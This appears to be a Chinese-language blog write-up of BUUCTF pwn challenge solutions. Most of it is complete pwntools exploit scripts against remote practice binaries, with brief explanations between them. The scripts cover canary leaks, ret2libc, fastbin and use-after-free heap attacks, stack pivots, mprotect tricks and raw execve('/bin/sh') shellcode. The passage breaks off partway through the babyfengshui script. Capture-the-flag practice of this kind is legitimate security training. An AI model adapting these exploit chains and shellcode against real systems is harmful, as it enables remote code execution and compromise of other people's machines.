    HOST = 'node4.buuoj.cn'
    PORT = 27129
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babyheap_0ctf_2017'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
    #conn = process("./bjdctf_2020_babyrop2")
    #pwnlib.gdb.attach(conn,"b *0x004008BE\nb main\n")
    pause()

    main = 0x04008DA
    pop_rdi = 0x0400993
    puts_plt = 0x0400610
    puts_got = 0x601018

    '''第一步:通过格式化字符串泄露canary值'''
    conn.recvuntil("I'll give u some gift to help u!")
    payload = "%11$p"   
    conn.sendline(payload)

    canary_leak = conn.recvuntil("\nPull up your sword and tell me u story!",drop=True)
    canary_leak = int(canary_leak,16)
    print "The canary leak is ",hex(canary_leak)
    
    '''第二步:调用puts函数泄露puts got值'''
    payload = "A"*0x18
    payload += p64(canary_leak)
    payload += p64(0)
    payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
    payload += p64(main)
    conn.sendline(payload)

    puts_got_leak = conn.recvuntil("\nCan u return to libc",drop=True)[1:]
    puts_got_leak = puts_got_leak.ljust(8,"\x00")
    puts_got_leak = u64(puts_got_leak)
    print "The puts got leak is ",hex(puts_got_leak)

    libc = LibcSearcher("puts",puts_got_leak)
    libc_base = puts_got_leak - libc.dump("puts")

    '''第三步:计算bin_sh和system函数地址,然后调用'''
    one_gadget = libc_base + 0xf02a4
    bin_sh = libc_base + libc.dump("str_bin_sh")
    system = libc_base + libc.dump("system")


    conn.sendline("gitf")
    conn.recvuntil("Pull up your sword and tell me u story!")
    payload  =  "A"*0x18
    payload += p64(canary_leak)
    payload += p64(0)   
    payload += p64(pop_rdi) + p64(bin_sh)
    payload += p64(system)

    conn.sendline(payload)
    pause()
    conn.interactive()

pwnable_orw(seccomp和prctl)

这个很有意思,涉及到了seccomp相关的知识点,这里整理一些资料
prctl()函数详解
一道 CTF 题目学习 prctl 函数的沙箱过滤规则
题目中的条件设置是这样的
BUUCTF【pwn】解题记录(1-3页已完结)_第20张图片
对应的在prctl函数,就重点关注编号是22和38的是干什么的,分别是PR_SET_SECCOMPPR_SET_NO_NEW_PRIVS

  • PR_SET_NO_NEW_PRIVS在第二个参数为1的时候,是不可以调用执行execve函数的,这样system函数和onegadget基本上就报废了
  • PR_SET_SECCOMP在第二个参数为2的时候(也就是SECCOMP_MODE_FILTER),仅支持SYS_open,SYS_write,SYS_read函数
    BUUCTF【pwn】解题记录(1-3页已完结)_第21张图片
    其实问题到了这一步解题已经够用,我们只需要用open函数打开flag文件,然后read读取文件内容至bss段,再用write函数将内容打印出来即可,代码应该看上去非常清楚。
# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25387
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babyheap_0ctf_2017'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
    #conn = process("./orw")
    #pwnlib.gdb.attach(conn,"b *0x0804858A\nb main\n")
    pause()

    bss = 0x804A200
    conn.recvuntil("Give my your shellcode:")
    shellcode = ''
    #fp = open("flag.txt",0,0)
    shellcode +=asm('mov eax,0x5')
    shellcode +=asm('push 0x00000000')
    shellcode +=asm('push 0x00000067')
    shellcode +=asm('push 0x616c662f')
    shellcode +=asm('mov ebx,esp')
    shellcode +=asm('xor ecx,ecx')
    shellcode +=asm('xor edx,edx')
    shellcode +=asm('int 0x80')
    #read(fd,bss,0x60)
    shellcode +=asm('mov ebx,eax')
    shellcode +=asm('mov eax,0x3')
    shellcode +=asm('mov ecx,0x804A200')
    shellcode +=asm('mov edx,0x60')
    shellcode +=asm('int 0x80')
    #write(1,bss,0x60)
    shellcode +=asm('mov eax,0x4')
    shellcode +=asm('mov ebx,0x1')
    shellcode +=asm('mov ecx,0x804A200')
    shellcode +=asm('mov edx,0x60')
    shellcode +=asm('int 0x80')

    print "The shellciode lens is",hex(len(shellcode))
    conn.sendline(shellcode)
    pause()
    conn.interactive()

[ZJCTF 2019]EasyHeap(fastbin attack + 通过free和heaptable控制实现system(“/bin/sh\x00”)调用)

这个题目其实不是很难,但是传统的思路我都是想通过fastbin attack直接去在got表附近构建堆块,然后就找适合构造堆块,在got表之前的位置了(0x7f,后面紧跟8个\x00,但是没有啊),没有找到合适的位置就一直卡着。
太蠢了,其实可以在全局变量heaparray之前,让我们控制这个地方,也可以对got表实现任意地址写的作用,思路清楚了就简单了
BUUCTF【pwn】解题记录(1-3页已完结)_第22张图片

但是在应用的过程中发现,文件中的读取的文件还是不存在的
BUUCTF【pwn】解题记录(1-3页已完结)_第23张图片

因此我们还是需要想办法通过system来getshell

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def create_heap(size,content):
	conn.recvuntil("Your choice :")
	conn.sendline("1")
	conn.recvuntil("Size of Heap :")
	conn.sendline(str(size))
	conn.recvuntil("Content of heap:")
	conn.send(content)

def edit_heap(index,size,content):
	conn.recvuntil("Your choice :")
	conn.sendline("2")
	conn.recvuntil("Index :")
	conn.sendline(str(index))
	conn.recvuntil("Size of Heap : ")
	conn.sendline(str(size))
	conn.recvuntil("Content of heap : ")
	conn.send(content)

def delete_heap(index):
	conn.recvuntil("Your choice :")
	conn.sendline("3")
	conn.recvuntil("Index :")
	conn.sendline(str(index))	

def exit():
	conn.recvuntil("Your choice :")
	conn.sendline("4")

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25748
    conn = remote(HOST ,PORT)
    pause()

    heaparray = 0x6020E0		#全局变量的表格,我们控制它就能实现任意地址写
    system_plt = 0x400700	
    free_got = 0x602018

    '''第一步:fastbin attack在 heaparray 之前申请一个堆块'''
    create_heap(0x60,"\x00")	#0
    create_heap(0x60,"\x00")	#1
    create_heap(0x60,"\x00")	#2 
    delete_heap(1)

    payload = "\x00"*0x60 + p64(0) +p64(0x71) + p64(heaparray-0x33) 
    edit_heap(0,len(payload),payload)

    create_heap(0x60,"\x00")	#1
    create_heap(0x60,"\x00")	#3   		这个就是我们在heaparray之前的堆块

    '''第二步:通过新申请的堆控制heaparray内容'''
    payload = "\x00"*0x23 + p64(free_got)	#修改heaparray[0]指向 free_got
    edit_heap(3,len(payload),payload)

    '''第三步:修改free_got地址'''
    payload = p64(system_plt)				#将free_got内容修改为system_plt
    edit_heap(0,len(payload),payload)

    '''第四步:通过控制heaparray将/bin/sh字符串写入'''
    payload = "\x00"*0x23 + p64(heaparray + 0x8)+"/bin/sh\x00\x00\x00"
    edit_heap(3,len(payload),payload)

    '''第五步:通过调用free函数,以及我们控制heaparray[0]指向/bin/sh后,最终实现system('/bin/sh')调用'''
    delete_heap(0)

    pause()
    conn.interactive()

wustctf2020_getshell

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27467
    conn = remote(HOST ,PORT)
    pause()

    get_shell = 0x804851B
    payload = "A"*0x1c + p32(get_shell)
    conn.send(payload)

    pause()
    conn.interactive()

bjdctf_2020_router

有system直接调用即可

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26038
    conn = remote(HOST ,PORT)
    pause()

    conn.recvuntil("Please input u choose:")
    conn.sendline("1")
    conn.recvuntil("Please input the ip address:")
    payload = "\n/bin/sh\n"
    conn.sendline(payload)

    pause()
    conn.interactive()

hitcontraining_uaf(UAF经典)

典型的UAF,libc2.23也没有tcache的保护,题目简单分析就是add_note的时候,新建一个0x10大小的块,存储一个输出函数和存放内容堆的地址,然后再申请一个size大小的堆,输入内容。漏洞在于free之后没有把全局变量清除,我们只需要做两个add_note,让size!=0x10,然后再申请一个add_notesize==00x10,并且将内容指向magic函数,在利用print(0)调出即可

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def add_note(size,content):
	conn.recvuntil("Your choice :")
	conn.sendline("1")
	conn.recvuntil("Note size :")
	conn.sendline(str(size))
	conn.recvuntil("Content :")
	conn.send(content)

def del_note(index):
	conn.recvuntil("Your choice :")
	conn.sendline("2")
	conn.recvuntil("Index :")
	conn.sendline(str(index))	

def print_note(index):
	conn.recvuntil("Your choice :")
	conn.sendline("3")
	conn.recvuntil("Index :")
	conn.sendline(str(index))

def exit():
	conn.recvuntil("Your choice :")
	conn.sendline("4")

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28786
    conn = remote(HOST ,PORT)
    pause()

    magic = 0x08048945
    add_note(0x18,"\x00")		# 0x10 0,0x20 0
    add_note(0x18,"\x00")		# 0x10 1,0x20 1
    del_note(0)
    del_note(1)
    add_note(0x8,p32(magic))	#0x10 1 ,0x10 0 ,change 0x10 0 into magic 
    print_note(0)				#exploit

    pause()
    conn.interactive()

picoctf_2018_buffer overflow

说是直接能读取flag文件,我反正不信,然后这个题目仔细看发现bss段时有可执行权限的,直接调用read_plt写入shellcode返回执行即可

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25632
    conn = remote(HOST ,PORT)
    pause()

    bss = 0x0804A040
    gets_plt = 0x08048430

    conn.recvuntil("Please enter your string: \n")
    payload = "A" * 0x28 + p32(bss-4)
    payload += p32(gets_plt) + p32(bss) +p32(bss)
    conn.sendline(payload)

    shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
    conn.sendline(shellcode)

    pause()
    conn.interactive()

jarvisoj_test_your_memory

简单的不能再简单的栈溢出,怎么这么多水题…

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29312
    conn = remote(HOST ,PORT)
    pause()

    win_func = 0x080485BD
    hint = 0x80487e0
    system_plt = 0x8048440

    payload = "A" * 0x17 + p32(system_plt) + p32(win_func) + p32(hint)*20
    conn.sendline(payload)
    
    pause()
    conn.interactive()

mrctf2020_shellcode

也是水题,就是64位写一个调用execve函数就行了,中间注意一下,不能直接push 0x0068732f6e69622f,因为push和pop都只能堆字操作,不能对字节操作。用mov rax,0x0068732f6e69622f代替
剩下的就是正常操作了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27759
    conn = remote(HOST ,PORT)
    pause()

    conn.recvuntil("Show me your magic!")
    shellcode = ""
    shellcode += asm("mov rax,0x0068732f6e69622f") 
    shellcode += asm("push rax") 
    shellcode += asm("mov rdi,rsp")
    shellcode += asm("mov rsi,0x0")
    shellcode += asm("mov rdx,0x0")
    shellcode += asm("mov rax,0x3b")
    shellcode += asm("syscall")
    conn.sendline(shellcode)

    pause()
    conn.interactive()

inndy_rop

经典的套路,利用gets将shellcode写在bss段,然后通过mprotect将此空间授权可执行,通过ret跳转至shellcode执行即可

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29280
    conn = remote(HOST ,PORT)
    elf = ELF("./rop")
    #pwnlib.gdb.attach(conn,"b *0x08048893")
    pause()

    bss = 0x080EC000
    pop_edx_ret = 0x0806ecda
    leave_ret = 0x8048892

    shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
    payload = "A"*0xc + p32(bss-4)
    payload += p32(elf.symbols['gets']) + p32(pop_edx_ret) + p32(bss)
    payload += p32(elf.symbols['mprotect']) + p32(bss) + p32(bss) + p32(0x100) + p32(7)
    conn.sendline(payload)

    pause()
    conn.sendline(shellcode)    

    pause()
    conn.interactive()

cmcc_simplerop

和上面的思路一样,就是写如shellcode,通过mprotect修改空间权限

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27482
    conn = remote(HOST ,PORT)
    elf = ELF("./simplerop")
    pause()

    bss = 0x080EB000
    pop_edx_ret = 0x0806e82a
    leave_ret = 0x08048E6E

    #调用read函数将shellcode和调用mprotect给bss段赋权限的代码写入bss段,然后通过leave_ret转移栈空间
    conn.recvuntil("Your input :")
    shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
    payload = "A"*0x1c + p32(bss-4)
    payload += p32(elf.symbols['read']) + p32(leave_ret) + p32(0) + p32(bss) + p32(0x200)
    conn.sendline(payload)

    pause()
    #read函数调用后的内容
    payload = p32(elf.symbols['mprotect']) + p32(bss+0x40) + p32(bss) + p32(0x200) + p32(7)
    payload = payload.ljust(0x40,"\x00")
    payload += shellcode
    conn.sendline(payload)    

    pause()
    conn.interactive()

picoctf_2018_buffer overflow 2

就是正常的ret_2_libc

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 29820
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
    #conn = process("./PicoCTF_2018_buffer_overflow_2")
    #pwnlib.gdb.attach(conn,"b *0x0804866B")
    pause()

    vuln = 0x8048646
    puts_plt = 0x8048460
    puts_got = 0x804A01C
    main = 0x0804866D

    conn.recvuntil("Please enter your string:")
    payload = "A"*0x6c + "BBBB"
    payload += p32(puts_plt) + p32(main) + p32(puts_got) + "CCCC"
    conn.sendline(payload)

    conn.recvuntil("CCCC\n")
    puts_leak = conn.recv(4)
    puts_leak = u32(puts_leak)
    print "The puts leak is ",hex(puts_leak)

    libc = LibcSearcher("puts",puts_leak)
    libc_base = puts_leak - libc.dump("puts")
    print "The libc_base is ",hex(libc_base)

    one_gadget = libc_base + 0x3cbea
    conn.recvuntil("Please enter your string:")
    payload =  "A"*0x6c + "BBBB"
    payload += p32(one_gadget)
    payload += p32(0)*12
    conn.sendline(payload)

    pause()
    conn.interactive()

xdctf2015_pwn200

栈溢出水题

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25079
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
    #conn = process("./bof")
    #pwnlib.gdb.attach(conn,"b *0x08048517")
    pause()

    main = 0x0804851C
    write_plt = 0x80483C0
    write_got = 0x804A01C

    conn.recvuntil("Welcome to XDCTF2015~!\n")
    payload = "A"*0x70
    payload += p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
    conn.sendline(payload)

    write_leak = conn.recv(4)
    write_leak = u32(write_leak)
    print "The write leak is",hex(write_leak)

    libc = LibcSearcher("write",write_leak)
    libc_base = write_leak - libc.dump("write")
    print "The libc base is",hex(libc_base)

    conn.recvuntil("Welcome to XDCTF2015~!\n")
    one_gadget = libc_base + 0x3a80c
    payload = "A"*0x70
    payload += p32(one_gadget)
    payload += p32(0)*20
    conn.sendline(payload)

    pause()
    conn.interactive()

bbys_tu_2016

这个题目真的想杀了它…本来想着有个函数直接读取文件,我是不信的,所以用stack povit转移了栈空间,在本地测试通过了,注意调用scanf时遇到空格会截止,第二就是scanf调用的时候需要大量的栈空间,所以bss段设置的位置需要地址大一些,本地成功代码

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26238
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
    #conn = process("./bbys_tu_2016")
    #pwnlib.gdb.attach(conn,"b *0x080485FE")
    pause()

    leave_ret = 0x08048603
    puts_plt = 0x08048420	#not useful
    puts_got = 0x0804A018
    bss = 0x0804Aa44
    pop_ebx_ret = 0x080483d5
    pop_ebp_ret = 0x0804866f
    pop_edi_ebp_ret = 0x0804866e

    scanf_plt = 0x08048460
    format_string = 0x080486D8
    call_puts = 0x080485F9
    printflag = 0x0804856D

   #conn.recvuntil("This program is hungry. You should feed it.")
    payload = "A"*0x14 + p32(bss - 4)
    payload += p32(scanf_plt) + p32(pop_edi_ebp_ret) + p32(format_string) + p32(bss)
    payload += p32(pop_ebp_ret) + p32(bss-4)
    payload += p32(call_puts) + p32(puts_got) 
    conn.sendline(payload)
    conn.recvuntil("Do you feel the flow?\n")
    
    pause()
    payload = p32(scanf_plt) + p32(0) + p32(format_string) + p32(bss+0x4)
    conn.sendline(payload)

    puts_leak = conn.recv(4)
    pause()
    puts_leak = u32(puts_leak)
    
    print "The puts leak is",hex(puts_leak)
    
    libc = LibcSearcher("puts",puts_leak)
    libc_base = puts_leak - libc.dump("puts")
    print "The libc base is",hex(libc_base)

    pause()
    one_gadget = libc_base + 0x3a80c #0x3d2a3
    one_gadget = libc_base + 0x3d2a3
    payload = p32(one_gadget)
    conn.sendline(payload)
    ''''''
    #pause()
    conn.interactive()

但是远程连接有问题,就不明白了,一查答案,居然真的就是调用printflag函数就行了…靠…

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26238
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
    #conn = process("./bbys_tu_2016")
    #pwnlib.gdb.attach(conn,"b *0x080485FE")
    pause()

    printflag = 0x0804856D
    payload = "A"*0x18+ p32(printflag)
    conn.sendline(payload)

    conn.interactive()

mrctf2020_easyoverflow

就真的是一个字符串的匹配呀…

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 28536
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
    #conn = process("./mrctf2020_easyoverflow")
    #pwnlib.gdb.attach(conn,"b main")
    pause()

    payload = "A"*0x30
    payload +=  "n0t_r3@11y_f1@g"
    payload += "\x00"
    conn.send(payload)

    conn.interactive()

wustctf2020_getshell_2(stack pivot)

这就是水题栈溢出,注意组合一下,需要利用leave ret转移栈空间,然后需要利用push 0解决gets无法输入0的问题,省略了read函数种长度输入,利用栈空间种原本的大数值作为长度
这个题目放在2020年,应该已经是水题了把

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 26793
    conn = remote(HOST ,PORT)
    pause()

    bss = 0x0804AA80            #注意这里的bss一定要大一点,要不然调用函数过程中压栈会到不可写的空间
    system_plt = 0x080483E0
    read_plt = 0x080483B0
    call_read = 0x08048591      #这里有push 0 ,解决了gets没办法输入0的问题,然后利用leave ret转移栈空间

    payload = "A"*0x18 + p32(bss-4)
    payload += p32(call_read) + p32(bss) #+ p32(0x120)  这里面没有输入长度,而是利用栈种本来有的大数值作为长度
    conn.send(payload)

    pause()
    payload = p32(system_plt) + p32(0x41414141) + p32(bss+0xc)  #直接在转移栈空间后,调用system函数
    payload += "/bin/sh\x00"
    conn.send(payload)

    conn.interactive()

[ZJCTF 2019]Login

看到这个的时候,因为用到了类,我还以为是需要用堆的相关知识来控制类中存放的函数地址的,但是事实上并没有那么麻烦,仅仅是通过不同函数栈空间内容的利用,就已经实现了控制
简单分析一下题目
BUUCTF【pwn】解题记录(1-3页已完结)_第24张图片

我们可以看到,题目总共建立了两个类,一个是admin,一个是user,然后再后面比较两个类的password变量就可以进入password_checker函数,我们再看这个函数
BUUCTF【pwn】解题记录(1-3页已完结)_第25张图片

只要两个password一致,就可以执行**a1,实际上我们倒过来追溯就行
BUUCTF【pwn】解题记录(1-3页已完结)_第26张图片

通过测试我们就能发现,**v8指向的内容,是可以再User::get_password函数中修改的,因为指向的就是地址更低的栈空间。
总之,一调试就明白了!

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25043
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
    #conn = process("./login")
    #pwnlib.gdb.attach(conn,"b *0x400B8e\nb *0x400A4A\n")
    pause()

    username = "admin"
    conn.recvuntil("Please enter username:")
    conn.sendline(username)

    password = "2jctf_pa5sw0rd\x00\x00"
    password += p64(0x0400E88)*20
    conn.recvuntil("Please enter password:")
    conn.sendline(password)


    conn.interactive()

jarvisoj_level1

题目本身栈可执行,就完事了,但是题目环境有问腿就只能用ret2libc的方式,因为正常的泄露栈地址一开始不会显示出来,这个是远程打的代码

from pwn import *
from LibcSearcher import *

r = remote('node4.buuoj.cn',27766)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']

payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4) 

r.send(payload)
write_addr = u32(r.recv(4))

libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')

system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)

r.send(payload)
r.interactive()

实际上本地也能调通的代码

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27766
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./hacknote'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
    #conn = process("./level1")
    #pwnlib.gdb.attach(conn,"b *0x080484B5\n")
    pause()

    shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"

    conn.recvuntil("What's this:")
    stack_leak = conn.recvuntil("?",drop=True)
    stack_leak = int(stack_leak,16)
    print "The stack leak is",hex(stack_leak)
    payload = shellcode.ljust(0x8c,"A") + p32(stack_leak)

    conn.sendline(payload)
    conn.interactive()

babyfengshui_33c3_2016(逻辑漏洞)

虽然这个题目老板们觉得比较简单,但是我感觉还是有值得思考的地方的,我把这个题目分类归结为逻辑漏洞,为什么是逻辑漏洞呢?因为其实没有用到堆的什么特定。
简单分析一下题目
具体的功能不再多讲,就是创建用户、删除用户、打印属性和修改属性,直接讲一下需要注意的功能

  • 第一,我们需要知道创建用户的功能
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fDEzPAIH-1654346138290)(leanote://file/getImage?fileId=629b4d348b564f6dfa000003)]
    连续申请堆块的堆结构就是
|------------------------|
|     堆块1-用户定义块    |    
|------------------------|
|     堆块1-系统定义块    |     
|------------------------|
|     堆块2-用户定义块    |    
|------------------------|
|     堆块2-系统定义块    |     
|------------------------|
|     堆块3-用户定义块    |    
|------------------------|
|     堆块3-系统定义块    |     
|------------------------|
  • 第二,找到漏洞点,就是判断描述输入长度的部分出现了问题

我们看一下update_user_describetion这个功能,表面上是对输入长度进行的限制,但是这个实际上是和地址相关联的,是堆块1-用户定义块地址+输入长度<`堆块1-系统定义块地址则可以绕过

于是我们就可以利用堆的分配策略,想办法让系统定义的0x80堆块远在之后,包裹住其他堆块就行了,我的方法如下
`

    add_user(0x60,"heap1",0x30,"AAAAAAAA") #0
    add_user(0x50,"heap2",0x30,"BBBBBBBB") #1
    add_user(0x50,"heap3",0x30,"CCCCCCCC") #2
    add_user(0x50,"heap4",0x30,"DDDDDDDD") #3
    delete_user(2)
    delete_user(0)
    add_user(0xe8,"hack!",0x30,"EEEEEEEE") #4

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GO76nfLH-1654346138291)(leanote://file/getImage?fileId=629b4e9e8b564f6dfa000004)]

这个时候通过控制第4个块就可以实现控制第1个块了

  • 第三,漏洞利用的思路,是通过修改第一个块中0x80块中存储的指向块的地址为got地址,泄露、修改地址并触发
# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def add_user(size1,name,size2,content):
    conn.recvuntil("Action:")
    conn.sendline("0")
    conn.recvuntil("size of description:")
    conn.sendline(str(size1))
    conn.recvuntil("name:")
    conn.sendline(str(name))
    conn.recvuntil("text length:")
    conn.sendline(str(size2))
    conn.recvuntil("text:")
    conn.sendline(str(content))

def delete_user(index):
    conn.recvuntil("Action:")
    conn.sendline("1")
    conn.recvuntil("index:")
    conn.sendline(str(index))

def display(index):
    conn.recvuntil("Action:")
    conn.sendline("2")  
    conn.recvuntil("index:")
    conn.sendline(str(index))

def update_description(index,size,content):
    conn.recvuntil("Action:")
    conn.sendline("3")  
    conn.recvuntil("index:")
    conn.sendline(str(index))   
    conn.recvuntil("text length:")
    conn.sendline(str(size))
    conn.recvuntil("text:")
    conn.sendline(str(content))

if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 27189
    conn = remote(HOST ,PORT)
    #conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so','./babyfengshui_33c3_2016'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'})
    #conn = process("./babyfengshui_33c3_2016")
    #pwnlib.gdb.attach(conn,"b *0x080487AF\nb *0x0804898D\nb *0x08048A15")
    pause()

    free_got = 0x0804B010
    '''步骤一:通过新建和删除用户,绕过输入长度的限制'''
    add_user(0x60,"heap1",0x30,"AAAAAAAA") #0
    add_user(0x50,"heap2",0x30,"BBBBBBBB") #1
    add_user(0x50,"heap3",0x30,"CCCCCCCC") #2
    add_user(0x50,"heap4",0x30,"DDDDDDDD") #3
    delete_user(2)
    delete_user(0)
